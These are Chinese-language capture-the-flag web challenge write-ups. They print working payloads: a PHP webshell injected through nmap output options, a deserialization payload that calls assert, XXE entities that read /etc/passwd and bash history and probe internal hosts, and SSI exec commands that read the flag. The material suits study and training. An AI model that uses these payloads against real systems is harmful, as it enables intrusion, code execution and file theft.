[网鼎杯 2020 朱雀组]Nmap
考nmap的用法,但是我不会
用上次online tool的payload
?host=' <?php @eval($_POST["cmd"]);?> -oG yjh.php '
回显hacker
猜测是过滤了php
?host=' <?= @eval($_POST["cmd"]);?> -oG yjh.phtml '
这样可以蚁剑连,也可以post一个命令
https://www.bilibili.com/video/av795863875/
[MRCTF2020]PYWebsite
进去是这么个页面,在源码里面搜索php
搜到了flag.php
访问之后是这样
看起来要伪造ip,抓包xff试试
[NPUCTF2020]ReadlezPHP
在源码里面搜索php,搜到一个
访问后是源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
- 诶好像是反序列化
- 看起来
$b
是函数名,$a
是参数 - __destruct() - 对象的所有引用都被删除或者当对象被显式销毁时执行,脚本运行结束前会调用析构函数
<?php
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "eval($_POST[cmd]);";
$this->b = "assert";
}
}
$c = new HelloPhp();
echo urlencode(serialize($c));
?>
过滤了system,所以用assert
蚁剑连接后啥也没有
$this->a = "phpinfo()";
或者
post:cmd='phpinfo;'
应该也可以
payload
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
[NCTF2019]True XML cookbook
抓包,发现存在XXE漏洞
添加外部注入实体
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&admin;</username>
<password>password</password>
</user>
没有回显出flag
这里考的是XXE漏洞可以直接攻击内网用户
读取用户信息:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
读取历史命令:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///www-data/.bash_history">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
查看内网存活主机:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///etc/hosts">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
找到一个主机,访问
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "http://173.10.47.10">
]>
<user>
<username>&file;</username>
<password>password</password>
</user>
没有flag
可以用bp爆存活主机
[BJDCTF2020]EasySearch
wp说是扫到了swp泄露,但是我没扫到
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
一开始还以为要用到随机数,看到后面才发现前面那一段都没有用,关键在
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
这一个if
也就是一个字符串md5之后前六位为6d0bc1
由于本菜鸡不会python,所以借用网上的poc
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
print(a)
post:password=2020666
抓包
看wp之前我没找到
访问一下看看
SSI注入参考文献
<!--#exec cmd="ls ../"-->
注入点只能在username了,
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 "-->